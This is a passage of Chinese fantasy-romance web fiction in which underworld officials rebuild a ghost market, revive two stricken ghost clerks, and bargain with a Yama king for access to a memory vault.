岑黎飞快放弃了留在这里看他们涂胶的想法,抬手拍拍沈自珩:“沈大人,你有办法把我弄上去吗?”她说着抬头看了看比自己高出一大截的坑壁,又转头看向沈自珩。
沈自珩沉默了一阵,十分轻巧地飞身上去,随后转身对着这深坑蹲了下来,伸出手:“来。”
云昭在旁边看傻了眼,和云偷偷咬耳朵:“这是一刀一只骨矛兽的岑黎?”
云点点头:“嗯,一刀一只。”
“一刀开膛的?我没记错的话哥当时在场啊?!”
岑黎一脸开心地拉住沈自珩的手,心想沈大人的手真好看啊。
“嗯。”
那边的岑黎正拉着沈自珩的手频频脚滑,沈自珩倒也没有不耐烦,一直伸手拉着她。
“真……的吗?”云昭托着下巴。
“真的。”岑黎一屁股坐在椅子上,扒开手里的橘子皮,一股清香扑鼻而来,她掰开橘瓣塞进嘴里,“不开玩笑。”
“沈大人是很好没错,但是……”云昭接过橘子,“你真不打算转世了?你要是追沈大人成功了不就要一直留在这里了?或者你俩一起投胎?”
岑黎把手里的橘子放到一旁的空椅子上,从口袋里拿出手绢包好。她一边拿着那把檀木扇给两人扇风,一边远远地看着正在监工的沈自珩的背影。
“他不会走的。”她冲着沈自珩挥挥手,指了指旁边椅子上的“手绢包”,见他点头,她笑笑,转头对着云昭说,“我也不会走。”
“我还有事要做。”
12. 鬼市 六
她伸手掸了掸裤子上并不存在的灰后就不再说话,云昭即便再好奇,但看到她这副心事重重的模样也只能闭口不谈。
云是不喜欢束发的,那头长长的黑发经常就那么披散着,顺滑乌黑的头发总能让许多女鬼都惊叹羡慕,但长发总归不方便。他从袖里掏了块锦布拿在手里,径直走到云昭面前背过身蹲下:“云昭,帮我束发吧。”
云昭一边习以为常地应下一边把橘子塞进他嘴里:“你吃,这个很甜。”她接过云手上的锦布,还没看清,光是拿到手上她就笑了。
“这个怎么能束发呀?打一百个死结也会掉的呀。”她把锦布团吧团吧塞进自己袖中,从自己发髻上取下一根木簪,“用这个吧。”
今天穿的裙子与这簪子并不相配,但这是地藏带回来给她的簪子,她总是想找机会用,于是早上她边想着自己大概就是狗肚子装不了二两香油,边在玉簪旁戴上这支黄花梨的。
云昭的手很巧,云的一头长发在她手中格外听话,三两下便成了型,木簪牢固地固定在发间。她满意地看着自己的杰作,拍了拍云的肩膀:“好啦,你可以站起来啦。”
云一撩袍子从云昭面前站起来,一旁的岑黎坐在椅子上仰视着他:“云啊,你和沈自珩谁高啊?”
“有闲心想这些,你休息好了?”沈自珩正挑选着要铺在池塘里的砖,闻言转头看了她一眼,“那就来看看哪种铺在池底合适。”
岑黎撇嘴,莫不是心虚……但沈自珩很高啊,她站直身体偷偷用余光打量着,自己平视都只能看到他肩膀诶!
沈自珩眼瞧着她猛地站直了往他身边靠了靠,伸手在他肩膀比划,又踮了踮脚,最后才将目光转到他手中拿着的砖上,随手一指:“这个吧。”
他语气平淡:“为什么?”
她心不在焉地回:“因为好看。”
“岑黎!”沈自珩突然拔高了声音喊她。
岑黎被他吓一跳,瞪大眼睛:“干什么!”
“我没量过身高,但和云大人应该差不多。”沈自珩啼笑皆非地看着她突然来了兴致,眼睛亮晶晶地盯着他,“就这么想知道?”
“大人,沈大人,人在工作的时候,除了工作本身,其他一切事情都很有趣很有吸引力的。”岑黎竖起一根手指,“鬼在工作的时候也一样。更何况我还喜欢你,对你的事情感兴趣也很正常啊。”
话像车轱辘似的就从她口中滚了出来,沈自珩反应不及:“什么?”
“算了,跟你说不清。”岑黎从他手上拿过瓷方砖仔细看着。
方砖以素白色衬底,四角各有缠枝花叶装饰,沈自珩手上另一块方砖与这块差不多,区别在于中间的仰莲纹。她拿着方砖与沈自珩手上的对比一番,“莲花池,用仰莲纹瓷方砖应景,但我总觉得过于花哨了。”
她把手伸到沈自珩面前,半晌也没有动静,她疑惑地抬头:“你干嘛呢?”
沈自珩大梦初醒一般,要将自己空着的那只手放上去。
“诶——工作时间。”岑黎缩手躲开,又递出去,“那块仰莲纹的给我,我再对比一下。”
她说得轻巧动人,但这么一来一去的,沈自珩却感觉像被她踩住了尾巴,他猛地从胸腔里提起一口气来,又随着手上的动作一起呼出去:“给。”
“你觉得哪个好些?”岑黎拿着两块砖发愁,那边填胶已经快结束了,很快就能铺砖。
“按你的想法来吧,用这个。”沈自珩从她手上抽走那块没有仰莲纹的方砖拿给无患,岑黎背手跟在他后面。
“池塘这里基本不会有问题了,地面也已经修好了,下一步是不是应该把台阶搭起来了?”最近岑黎一直拿着那图纸研究,沈自珩说的是对的,李大人画的图纸清晰易懂,尺寸比例也十分精准,绝对是人才。
她拿着卷成筒的图纸指着一个方向:“是要在那里修台阶吧?”
沈自珩点头:“对,直通鬼门关。”
鬼门关原是一座巨大的牌楼,直插云天的高度让所有经过的不论是人是鬼都心生几分恐惧,鬼门关前常年有鬼差把守,所有下到地府的鬼要走的头一遭便是鬼门关,下来的鬼要在鬼门关拿了路引才好继续往里走,若是没有资格拿到路引,就只有两个惨烈的下场。
“但现在从鬼门关直通鬼市了,要是他们逛开心了不想转世投胎了怎么办?”岑黎想象了一下无数鬼都拥挤在鬼市中流连忘返,一眯眼,“人口暴增,压力巨大啊。”
“所以路引上的鬼市通行令是有时限的,若到了时限还不离开,自然会有鬼差来将他带走。”沈自珩的指尖在图纸上划着,指的正是鬼门关通到鬼市的那条路,一千零八阶。他轻轻弹了一下图纸,“到鬼市一共一千零八个台阶,当然如果不想到鬼市也可以走原本的那条路。”
岑黎听着一千零八阶傻眼了,连连咂舌:“这么多台阶,换我是绝对不会爬的,本来就没命了到地府来,爬完这些台阶连魂都要没了。”
“胡说八道什么,干活去。”沈自珩卷起图纸敲了她一记,“瓦肆那边你去盯着点。”
岑黎皱起眉严肃地看着他,伸出一根手指,指了指自己:“我?”
“是你。明天瓦肆建好了,在往里添置物件之前你再去检查一下,没问题了就往里添东西吧。”他说着轻笑一声,“不然你以为我为什么非要你来?”
岑黎拿过瓦肆的图纸撇嘴:“我以为你是让我来当工头的,每天盯着他们不要偷懒就好了。”
沈自珩确实这么想过。要说原先让岑黎监工肯定会有鬼差不服气,她看上去身材并不健壮,恐怕连桌椅都搬不起来……
但是她一刀一只骨矛兽。
岑黎叉着腰,白眼快翻到天上去了:“没完了是吧?不就是杀了几只骨矛兽,至于吗天天说,以后我是不是就从孟婆庄管事变成骨矛兽猎人了?”
她说这话的时候周围的鬼差们就都看过来了:在坑里铺砖的,离得近不敢抬头,只能竖起耳朵听,两边开始搭桥的离得稍远就偷偷瞄两眼,建观星阁的就无所谓了,踩在梯子上的那个鬼差挂在上面朝这里看。
无患胆子大,站在坑里一边乐一边说:“但是大人,骨矛兽猎人听着比孟婆庄管事还气派啊!您那镰刀在哪儿呢,能给我们看看吗?”
周围的鬼差们都来精神了。
岑黎从发髻中取出来一支形似镰刀的簪子放在手心,脚边凭空出现的银纹猛地一闪。
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鬼差们眼都直了——那就是杀骨矛兽的镰刀啊!比岑黎大人还高的镰刀啊!
一柄长镰刀骤然出现在岑黎手中,通体呈乌黑色,银纹一圈圈地盘旋在锋利的刀刃上,即便是现在这样黑暗的环境中也十分耀眼。岑黎见鬼差们喜欢,大方地招手让他们凑近些看。
“想试试不?”岑黎问着无恙,见他急不可耐地点头,便笑着把镰刀递了过去。
无恙开心地伸手要接镰刀,却没想到这柄长镰十分沉重,他险些跟着镰刀一起倒在地上。“啊……对不起岑黎大人,我没想到它这么重!”
“很重吗?大人我能试试吗?”无患走上前,试图将长镰从地上拿起来。拿是拿起来了,但他完全挥不动!
“大人,你也太厉害了!这镰刀这么重你居然还能一刀一只骨矛兽!”
“是因为我们灵力不够所以拿不起来吗?那我们多练是不是也有可能拿起来!”
“说什么傻话呢你有这么漂亮的镰刀吗?你有那么多灵力吗?”
“就是!岑黎大人当时还把灵力分给我们了,我也在场!大人灵力深厚着呢!”
“嘿嘿,小意思小意思。”岑黎听着四面八方传来的惊叹不自觉地笑开了花,产生了想炫耀的念头,她从无患手中拿过长镰挥舞起来,刀柄狠狠撞击地面,发出一声嗡鸣。
“识因,你看这裂缝是不是又变宽了?”
杂草丛生的角落里一个鬼差颤颤巍巍地伸出手指着面前的屏障,叫识因的鬼差蹲在旁边抱着头欲哭无泪:“不用看了,它每天都在变宽。”
“怎么办啊!它要是破了……唔!唔唔唔!”
识因扑上去捂住那鬼差的嘴,用气声警告他:“别说了!万一被人听见怎么办!”
鬼差点点头,跟他一起蹲在草丛里都不说话了。
他们蹲着的地方在镇妖塔后方,离得不算远,能听见塔里时不时传出的吼叫声。识因看了他一眼,幽幽开口:“春生,你听这塔里的声音。”
应景似的,身后的塔内传出来一阵压抑的吼声,持续了数秒才消失,春生只觉得地面都在震颤。他抓着识因的胳膊:“妈呀,那是啥东西?”
“诸犍,听说过吗,尾巴很长很长的那个。”识因一屁股坐在地上,把腰间的铃铛摘了下来放在一旁,“它只有一只眼睛,长得很奇怪,耳朵有点像牛。”
“你咋知道的?”
“我去过镇妖塔啊,被罚去扫地的。”识因说。
“那里吓人吗?是不是有很多凶兽关在笼子里?它们吃什么喝什么?会不会逃出来?”春生喋喋不休地问着,他到地府之后还从没有去过镇妖塔呢!
“有点吓人,凶兽不是关在笼子里的,普通笼子咋可能关得住啊,都是用阵法符咒镇压,而且镇妖塔本身就是个法力高强的符。”识因随手往后一指,“吃什么我倒是不知道,没见它们吃东西。”
“那你犯了什么错被罚去扫地啊,很严重吗?”春生抱着膝盖盯着裂缝问。
镇妖塔渐渐安静下来,春生盯着裂缝打了个哈欠,他迟迟没有等到识因的回答,正想开口问你怎么不说话呀,却突然觉得自己好轻好轻……
“春生!”
13. 鬼市 七
原本蹲在地上的小鬼差先是像睡着了一样脑袋偏向一边,接着很快身子也失去重心慢慢向旁边倾斜。识因感到肩上一沉,起先他以为春生又困倦睡着了,但春生的胳膊也慢慢地从膝盖上滑落下去,绵软无力地耷拉着,然后逐渐变得透明……
“春生!春生醒醒!”识因捧着春生的脸大声喊他,但春生的眼睛始终紧闭着。
识因的手都在颤抖,他一手托着春生一手去摸腰间的铃铛,可全身上下都摸了个遍也没摸到:“铃铛呢?我的铃铛呢?找不到了!铃铛呢!对了春生的铃铛!”
每位鬼差的铃铛上都会有自己设下的灵力阵,好在春生告诉过识因要怎么解,识因飞快掐诀解开铃铛传讯给周围的所有鬼差:“有没有人啊!快来镇妖塔这里!荒草谷!有鬼差出事了!”
岑黎的虚空镜从衣襟里飞了出来悬在她面前,她从镜子里看到一名鬼差托着另一名鬼差的身体,再仔细一看被托着的那名鬼差已经毫无知觉,
“岑黎,走!”沈自珩也看见了,拉着她就往荒草谷去。
原本鬼市上正准备收拾一下就回家的鬼差们也收到了传讯,纷纷丢下手里的东西赶往荒草谷。
“我怎么听着是识因的声音?”
“阎王殿上的识因?他们在荒草谷干什么?那前面不就是镇妖塔吗?”
“就是啊多危险啊!别说了赶紧走吧,两位大人早就过去了。”
平时从鬼市走到荒草谷也不费多少时间,沈自珩和岑黎赶到的时候识因都还攥着春生的铃铛,见两位大人来得如此快,他激动得涕泗横流:“大人,快看看春生吧!他突然就这样了!”
“你别急,我先看看。”岑黎不经意地看了一眼四周,跟正在查看周围情况的沈自珩对了个眼神。
“让后来的鬼差们都回去。”
沈自珩的脑中突然响起岑黎的声音,就像那日一样,他有些疑惑地看她。
“你看我身后的屏障,仔细看。”岑黎没再看他,将目光转移到春生身上,自己也顺势蹲下来查看着春生的情况。
沈自珩听着她的话看过去,原本应该看不见的屏障此刻却能看出上面有好几缕灵力像蛛网一样互相纠缠着——屏障有裂缝!
他立刻传讯给后面正在往这里赶的鬼差:“无患,带着鬼差们回去吧,这里有我和岑黎大人。”
“大人!你们已经到了吗?真不用我们帮忙吗,我们人多力量大呀!”无患拉住身边的无恙,朝他一招手。
沈自珩嗯一声:“不用,人够了,你们回去吧,明天还要上工别迟到了。”
识因不知是吓傻了还是怎的,岑黎接手过后他就一直呆呆地坐在地上盯着春生,盯着岑黎摸上春生的额头探他灵力,又把他扶起来看他后脖颈,春生始终没有反应。
“大人,春生还能醒过来吗?”识因眼神呆滞地看着前方,他不知道为什么春生突然就这样了,他们刚刚还在说镇妖塔的传闻呢,还听见诸犍的吼声了,怎么他一转头就……
“识因,识因!”
岑黎刚把手从春生额头上拿下来就看见对面的识因泪流满面,一直喃喃自语着,仔细听尽是胡言乱语,根本听不出所以然。
这种情况她在奈何桥上遇见过一次,应当是原本魂体就不是十分稳定,像是用沙堆出的塔一样,受到冲击就会坍塌溃散。
这下真是乱了,春生还没醒识因又要垮了,岑黎拽住一旁的沈自珩,一把拉过他的手让他掌心朝上接着。
“你把这个用灵力送给识因。”岑黎从头上拔下镰刀簪,在手腕猛地一划,又飞快地抽了一丝灵力包裹住血滴。
鲜红色的血珠被银色灵力包裹着送到沈自珩手心,像一个晶莹剔透的小球,他调出自己的灵力包裹住手掌,金色的灵力像流水一样托着“灵力血珠”流淌进识因的身体里。
那边岑黎又如法炮制地将“灵力血珠”送给春生,大约半盏茶的功夫,春生的身体便逐渐恢复了原样,岑黎这才松了口气,轻轻地笑了。
“笑什么?”沈自珩站在旁边举着盏灯,看着岑黎险些一屁股坐地上,他急忙拽了她一把,“当心。”
沈自珩的脸确实是极品,即便是这样昏黄的灯光下也不显得有任何难看,反而衬得静谧、温暖,让人总想贪婪地多看两眼。
“笑沈大人今天给我乖乖打下手,真是委屈你了。”岑黎把半个身子的重量都压在沈自珩的一条胳膊上,她垂眼看了看衣摆,自己的灵力十分微弱,只剩一些残光停留在衣摆上。
沈自珩没回答,打了声呼哨,岑黎听着远处传来的一声啼叫:“大风?!”
岑黎的面色很疲惫,眼睛却亮晶晶的,听见是大风来了之后她笑得很开心,原本没有血色的唇上也有些红润起来。
像画里的美人。
这荒草谷名副其实,除了一片荒草什么也没有,沈自珩看了一圈连大石块也没找见,他扶着岑黎的手轻拍了拍:“你自己站好。”
以为他是嫌自己烦人,她叹了口气自己站好了,刚想着男人果然靠不住,却见他将外袍脱了铺在地上,又伸手来扶她:“坐会儿吧,他们在过来了。”
“嗯?”岑黎傻了。
“嗯什么?坐啊。”沈自珩看着她,“你的灵力又没了就别再消耗了,一会儿连体力都没了。”
他吓唬她,岑黎却乐了,笑眯眯地扭头看他:“那就劳烦沈大人送我回去了呀!”
“你一贯如此吗?”他站在她面前居高临下地看她。
岑黎仰头看得脖子酸,拉过一边当灯柱的大风搂在怀里,把自己的下巴靠在大风背上装傻:“我怎么了?”
她等着听沈自珩数落她,什么厚颜无耻啊,嬉皮笑脸啊,胡搅蛮缠啊……
“屏障有裂缝了。”沈自珩的声音从她头顶幽幽地传进她耳朵里,“你发现了却没说,还让我帮忙瞒着他们。不仅反应快,还很谨慎。”
他弯下腰凑近她,两人的呼吸仿佛都纠缠着。岑黎僵着脖颈搂紧了大风,又听他说:“你一贯如此吗?”
妖精!男妖精!绝世男妖精!
岑黎在心里
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大喊着,艰难地开口:“沈大人这是在夸我?”
沈自珩没回答,一挑眉毛又说:“这个救人的方法我从未见过,而且我刚刚发现,只有岑黎大人的灵力能够做到,我的灵力会被排斥开。”他放低了声音,那双狭长的狐狸眼像是钩子将她牢牢地钩住。
这是勾引!
“那要不你再试试?”什么叫只有我的灵力能做到啊,大家不都……她突然发现了问题。
之前也遇过这情况,是孟婆提了一嘴她才死马当活马医地上前试一试,当时她的灵力十分顺畅地将人救了回来,孟婆也很惊讶。
她以为只是个例外。
“你们的灵力都不能传输给别人?”她听着沈自珩的回答逐渐睁大了眼睛。
沈自珩摇头:“不能,至少在对方没有意识的情况下,不能。”
她不死心地继续问:“那对方有意识的情况下呢?”
“可以。”沈自珩点头,岑黎刚想松口气又听他说,“但血不行,我的血就没法传输给你。”他在自己手心划了一道,学着岑黎之前那样用自己的灵力裹着血珠覆在她额头,灵力微弱地一闪。
岑黎拉着沈自珩的手看他手心:血珠还在,她又看向自己的衣摆,一缕金色的光缠绕在银光外围,比银纹亮了不少。
她干巴巴地笑了两声:“哈、哈哈,确实是……”
沈自珩紧皱着眉看她,两人都不说话了。
感到怀里的大风轻轻挣扎了一下,岑黎抬起头看,远处有星星点点的灯光,她摸了摸大风的翅膀问:“是不是来人了?”
“沈大人!”一名胖得十分有喜感的鬼差小跑过来,身后跟着俩小鬼差。
那领头的鬼差圆滚滚的肚子随着他的跑动止不住地颤,岑黎远远地看着就想笑,等那鬼差走近了她看得更真切,更是憋不住笑意。
沈自珩无奈地看她一眼没有制止,自己从大风嘴里拿过灯站起来,正好将表情扭曲的岑黎挡住。“施大人,您还亲自过来了。”
那鬼差叫施永和,生前是救人无数的神医,但到了地府良医所后也没什么人啊鬼的需要医治,最多请他看看地狱犬为什么腹泻,他无事可做,便一天天胖了起来。
“应该的应该的,他们怎么样?我来将人带回去医治。”施永和绕开沈自珩想去查看地上躺着的两名鬼差,没成想他身后还有一人,竟是被挡得严严实实。
“施大人!”岑黎突然喊他,将施永和吓得原地蹦了蹦,“好久不见啊!”
“诶呦!好久不见好久不见,岑大人,你这样吓我,当心我不给你抓那些药啦。”施大人瞪大眼睛,但在他同样圆乎乎的脸上也毫无震慑力,反而让岑黎笑得更欢了。
“诶我错了施大人,我过两天就去找你啊。”岑黎站起身笑着行了礼,两人看上去十分熟络。
灯不知道什么时候又进了大风嘴里,沈自珩抱臂站在一旁看着他们,忽地插嘴问:“抓什么药?为什么吃药?”
两人头也不回:“没什么。”
“就是药啊。”
14. 鬼市 八
施永和带着两个小鬼差和春生识因回了良医所,岑黎抱着大风跟在沈自珩身后往回走,但他越走越快,步子越迈越大,岑黎眼珠一转,用手挡在嘴边温柔地对大风说:“大风,沈大人是不是生气了呀?怎么走得这么快呀?”
沈自珩的脚步一顿,步子放慢了些。
岑黎看见了,抿嘴拼命压下嘴角又说:“唉,但是生气的沈大人也玉树临风呢,不知道有多少鬼迷恋他,在人间的时候想必也是吧。”
她开始想象着沈自珩在人间时的样子,是秀气的书生还是达官显贵家的少爷?还是驰骋沙场的将军?不管是什么身份应该都很优秀很招人喜欢吧?她一边想着一边往前走。
“肯定有很多人喜欢他的,长得好看,学识渊博,气度不凡,虽然有的时候性子有点冷,但其实很细心。”岑黎手上无意识地捋着大风的羽毛,突然感到手中一轻,大风变成小鸟的样子窝在她手心睡着了。
她回过神来,沈自珩正站在不远处等她。岑黎小跑着追上去,见他神色如常,猜着应该是没听到她说的话,但还是问了一句:“沈大人刚刚听见什么了吗?”
沈自珩转头瞥了她一眼:“听见什么?”
“没什么,大风睡着了。”岑黎把手摊开给他看,大概是感觉到有光,大风在她手心蹭了蹭,把自己的脑袋塞进翅膀下。
“你带它回孟婆庄吧。”沈自珩笑了笑,背着手跟她往孟婆庄的方向走,“我送你回去。”
“不用送啦,地府能有什么危险,反正都是鬼。”岑黎小心地合拢掌心将大风裹在手里,“那我明天带着大风去鬼市再还你。”
“随你。”
夜色很深了,路上除了他们没有别人在,岑黎偷偷回头瞧着灯光下他俩的影子,挺好看的嘛,她偷偷落后两步,对着沈自珩的影子踩了两脚。
让你不喜欢我。
让你给我开罚单!
“你!为什么又是罚单!”岑黎带着大风刚到鬼市就见沈自珩迎了过来,大风站在她肩上叫了一声,她刚想把大风还给他就见他手一抬,将一张纸贴在她额头上。
岑黎将纸摘下来,上面写着:罚俸禄五百金,可以工抵债,为期三十。
“三十什么?三十分钟?”岑黎已经不想问为什么又给她开罚单了,要是能以工抵债三十天她倒是也愿意。
沈自珩一撩嘴角,指着三十后面一个朱红色的小字,轻飘飘地说:“年。”
“年?!三十年?!沈自珩你是不是疯了,走,我带你去找施永和治病去。”岑黎说完拉着他就要走。
施永和,她和施永和怎么这么熟啊!
沈自珩站定在原地,任岑黎怎么拉也拉不动。
“沈自珩,沈大人!祖宗!到底为什么又给我开罚单!”岑黎气得跳脚,肩上的大风被她的动作颠得险些掉下去,慌忙用爪子抓住衣服。
“你迟到了。”沈自珩神色自若。
第十殿阎王薛礼正坐在地板上盯着面前的一堆东西苦恼,两边候着的鬼差也都愁眉苦脸的,时不时偷瞄着薛礼。
只见薛礼拿起眼前的东西端详了一阵又摇摇头放下,转而看向旁边的,又将东西翻来覆去地看了看……他就这么挑挑拣拣的,迟迟拿不定主意。
“阎王!阎王我是岑黎!”
殿外响起叫喊声,薛礼听见忽然眼前一亮,招呼着旁边的鬼差去开门:“快快快,让小黎进来!”
岑黎原本一肚子气地冲过来想告状,谁知道一开门她胳膊就被左右两名鬼差架了起来,连拖带拽地将她拉到阎王殿。
“不是,诶等一下,怎么……”
堂堂第十殿轮转殿的阎王正盘着腿坐在地上,身上的衣服甚至被压在了屁股底下。“阎王?”
薛礼几乎要将头扎进面前的花盆堆里,他头也不抬地冲着门口挥挥手:“小黎你快来。”
岑黎看了看两边的鬼差,刚刚架着她来的鬼差挤眉弄眼地让她过去,莫不是又让她帮忙买零食?看来以后孟婆店里可以多进些零食,在旁边放个牌子写上:阎王甄选。
她想着,乐呵呵地走过去问:“选什么?”
“哎呀他们只让我挑三盆花留下,剩下的要放到鬼市上去。”薛礼的言语中颇有些怨气,“我跟自珩商量了好半天,他也不同意让我多留两盆,你看这花多好看啊,你看这一朵马上要开了!”
“自珩?沈自珩?”岑黎差点忘了自己是来告状的,“我今日来便是要向您告他的状的!”
薛礼向旁边鬼差要来个喷壶,往花瓣上喷了些水,水珠停留在花瓣上更衬得花娇艳欲滴,他满意地点点头,“告状?他怎么啦?”
“他对我有意见,利用职务之便公报私仇,随意给我开罚单!”岑黎气势汹汹,“他还管我迟不迟到,我是孟婆庄管事,没有上工时间规定啊阎王!他凭什么给我开罚单!还罚我俸禄!”
“你要是不愿扣俸禄也可以到我阴律司来,我写了以工抵债,三十年即可。”沈自珩从门外踱步进来,向阎王行礼之后又不急不慢地开口,“府君,您挑选好了吗,鬼市已经完工大半了。”
薛礼颇为不舍地看了又看眼前这些花,终于伸手从中搬出三盆放到身边,然后对着沈自珩一挥手:“这些你搬走吧。”
沈自珩点点头,喊人来将花搬到鬼市去。
“小黎,你这罚单我做主给你销了,正好自珩也在,自珩,以后你不得随意罚小黎。”薛礼警告似的朝沈自珩点了点,站起身坐到一旁椅子上。
阎王殿中都修了高台,他们的座椅都放置在了高台之上,但薛礼不喜欢坐在上面,通常都是在殿中随意找地方坐下,因此他也是最容易见到的阎王之一。
沈自珩看了岑黎一眼:“是。”
岑黎满意了,向阎王行了礼便往殿外走,她刚踏出殿门便看见衣摆上的银纹周围亮起了微弱的金光。
是沈自珩的灵力,他要干什么?岑黎停下脚步拎起衣摆看了看,那金光又消失了。
不管了,去鬼市吧,今日云昭也在,池塘里的莲花还没种完呢。
沈自珩站在殿中没动。
“你还有事?”
他一撩衣袍跪在阎王面前:“府君,自珩斗胆,想问您要一样东西。”
“你要什么?”
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“记忆库的钥匙。”
沈自珩低着头,阎王站起身走到他面前,居高临下地看他:“地府中谁可以拿这钥匙,你知道吗?”
“知道。”沈自珩有些犹豫地开口,“历年来都是由十殿阎王从四大判官中选出管理记忆库之人。”
薛礼挥手让殿里的鬼差都退下,大门关上后,殿上的灯逐一亮了起来,四周却好像比刚才更暗一些,让人觉得脊背发凉。
十殿阎王性格各异,有的阎王常不苟言笑,办事一板一眼,也有的阎王平日传出的名声都是平易近人,慈眉善目,薛礼便是后者。
但此刻他的目光却像是能将沈自珩撕下一层皮。薛礼厉声问道:“那你还想问我要?”
沈自珩不说话了。他时刻听着殿门的动静,想着如果有鬼差进来将自己拖进地狱了,他得立刻传讯给岑黎,让她……
让她什么呢?让她救自己,让她替他盯着鬼市重建,还是让她照顾好大风?
不,他会让她远离薛礼。
“你起来吧。”薛礼伸手轻托了一下沈自珩的小臂示意他起来。
沈自珩有些不解地看向他,就见薛礼背过手在殿里踱步,下一秒便十分轻易地将他拆穿了。
“其实你想要的是进出记忆库的权限,是与不是?”
薛礼见他有些惊愕地睁大眼睛,笑了笑说,“我早就说过你很聪明,你知道钥匙是不可能到你手上的,所以你本来要的也不是这个。
敢在我面前提出要钥匙,也只不过是赌了一把我不会将你投进地狱,只要你还能站在这里,便能看似退而求其次地向我再提,想要自由进出记忆库。”
沈自珩拱手,一颗心吞回肚子里:“是,府君圣明。”
薛礼摆手笑笑,摸着自己下巴上的胡子沉思半晌说:“我答应了,给你这权限,但你要拿东西来交换。”
他的心又悬起来了:“您说。”
薛礼笑意更甚,走到他面前时眼都笑得眯了起来:“你再给我两盆花,不!我要自己去挑!”
“这个不行。”沈自珩错愕地看他,终于也笑了起来,“不可能让您自己挑,您肯定会把那两盆雪罩红梅搬走的。”
“你怎么知道我要那两盆!”薛礼懊恼地拍着椅子,“那两盆甚是好看,我恨不得每日抱着!就在我殿上放两天再搬去不行吗?”
“不行。”
“鬼市何时开放?不是三月三之前吗?”
“是,但您拿了那两盆肯定不会还的。”沈自珩面无表情地看着薛礼又要坐在地上,他不咸不淡地补充一句,“所以您要沉香台还是鹅毛粉黛?”
“都要!还要一盆瑞云殿!”
“我一会儿就差人搬来。”
薛礼在他走出大门前喊住他:“除了这三盆花,我要看到你为地府作出成绩来,不管是督察的日常工作还是现在鬼市的重建,乃至以后交予你的其它工作,你若是达不到我的要求,便没有资格同我谈其它。”
“是,自珩明白。”
沈自珩走出阎王殿,怀里白玉扇上的金纹渐渐隐去。
棋盘上的第一步总算是走出去了。
15. 鬼市 九
“这个品种开出来是淡黄色!放这不是黄色扎堆了,不好看啊!”岑黎和云昭如出一辙地叉着腰站在池塘边监工,捧着莲花种子的鬼差吓得手一抖,种子径直掉进了池塘里。
云昭一撸袖子:“捞啊!哎呀我都看见了在那里!”
池塘最终贴上了没有仰莲纹的瓷方砖,那砖单看着有些太素净,甚至是寡淡,但是云昭却觉得很好:“莲花一开就会非常漂亮了,如果都是仰莲纹岂不是抢了真莲花的风头,砖哪有真莲花鲜活啊。”
岑黎在一旁点头,思绪又飘回了昨晚。
“我以为那只是特殊情况!你懂吗!我现在才反应过来孟婆怎么会有灵力不济的时候呢?!”
孟婆坐在沙发上看着对面有些抓狂的岑黎,递过去一袋薯片:“诶,也是有的。吃吗?”
“不吃。”岑黎摇头,从桌上拿了糖塞嘴里,“所以到底怎么回事?只有我可以那样救人吗?”
“目前看来,只有你可以。”孟婆说着把手里的薯片放下,“我还是要提醒你,虽然你这样救人很有效,简直比施永和还好用,但是你不能随意用知道吗?上回那一战过后你的灵力到现在都不是很稳定,别再因为救人把自己搭进去了。”
岑黎啧一声:“你说点好的。”
孟婆托着下巴思考一阵,朝她颇为洒脱地一抱拳:“绝世神医。”
屋里陷入一片寂静,大风不知什么时候醒了,站在桌上的空花瓶上看着她们。岑黎和孟婆对视着,两人的嘴角突然抽动了两下,随后爆发出一阵笑声。
“哈哈哈我明天去说给施永和听!大风你看见了吗大名鼎鼎的孟婆就是这个德行哈哈哈!”岑黎捧着大风笑得肚子都有些疼。
孟婆笑骂着:“你少败坏我名声!”
“反正大风也不会说话,知道了也不会传出去的,有什么关系!”岑黎转身躲开孟婆伸过来的手,“你别想跟我抢大风!”
“等鬼市一开我就去买狗!买最可爱最圆滚滚的那只!”
岑黎不看她:“等你买了再说。”
孟婆抓起薯片咔哧咔哧地嚼着。
“你说,如果我能找到我的记忆,是不是就能知道为什么我会这样了?”岑黎坐在孟婆旁边,她在腿上放了个松软的抱枕,又捧起大风轻轻放了进去,“你知道今天沈自珩去找阎王干嘛吗?”
“他去找阎王了?去干嘛?”孟婆疑惑地问,“是哪位阎王?”
“轮转殿。沈自珩到的时候我正好在告他的状,阎王警告他少给我开罚单,后来我就回鬼市了。”岑黎这么说着,却还是忧心忡忡的,“但是之后,他跟阎王说的事……我听见了。”
咔哧咔哧的声音突然停了下来,岑黎没理,接着说:“他问阎王要记忆库的钥匙。”
“什么?!记忆库的钥匙?”孟婆放下薯片有些激动地看她,“要到了吗?有钥匙的话你就可以进去找有没有你的记忆瓶了!”
“没要到,给了他自由进出记忆库的权限。”岑黎说。记忆库就是个巨大的仓库,虽然没有鬼差把守,但门外有一道结界,只有阎王的符咒能打开,用符咒打开时阎王便也会知道进入记忆库的人是谁。
“所以没法让沈自珩带你进去,你也没法偷他的符咒进去。”孟婆总结道,“那再想想其它办法。”
记忆库虽说是储藏记忆的仓库,但并没有仓库或房屋那样的外形,并不好找,所幸权限符咒还有个引路的作用,沈自珩手里拿着扇子沿着地府最外围走了一圈,见扇子并无反应,他迈步走上了鬼门关直通鬼市的那一千零八阶。
“这台阶是够长的,得再多放些灯才够亮。”他闲庭信步地一边走一边瞧着两边的灯,任谁看了都觉得他敬业,这么晚了还在想着鬼市重建的事。
“那您继续,我去巡逻了。”小鬼差向沈自珩行了礼后噔噔跑下了台阶往另一个方向去了。
过了一千零八阶便是鬼市。鬼市开始重建到现在并无多久,按人间施工进度怕是得要三五个月才能建成这么大规模,但这毕竟是地府,鬼不用睡觉不说,还能抓些凶兽来赶工补过。
一只巨大的龟形凶兽正趴在一堆木材旁张嘴啃着,身后长满鳞片的尾巴惬意地左右甩动,仔细一看那堆木材上都用笔画上了印,那凶兽正按照印子啃,啃好之后用它的短吻拱到旁边放好,只待白天鬼差来打磨加工就能用。
沈自珩看了会儿便走开了,他正穿过的这一片地是给小商贩用的,他们买的大多是小物件,或是活物比如地狱犬,不便放在室内,李恒大人便将奈何桥西侧的规划给了这些小商贩,西侧整体建成后大致是一个——十分空旷、无高屋遮挡,仅用各类花卉植物作隔断的市场。
过了奈何桥就是鬼市东,东市则是与西市完全不同,街两边建起了三四层高的瓦肆和酒坊,在街的尽头还有个种满莲花的池塘,池塘一侧挖出了一条沟渠,连通了池塘和奈河,在这沟渠上就是鬼差们看到图纸时无法想象的石桥。
沈自珩走上奈何桥,刚走到桥中央手里的白玉扇便亮起了繁琐的符纹!
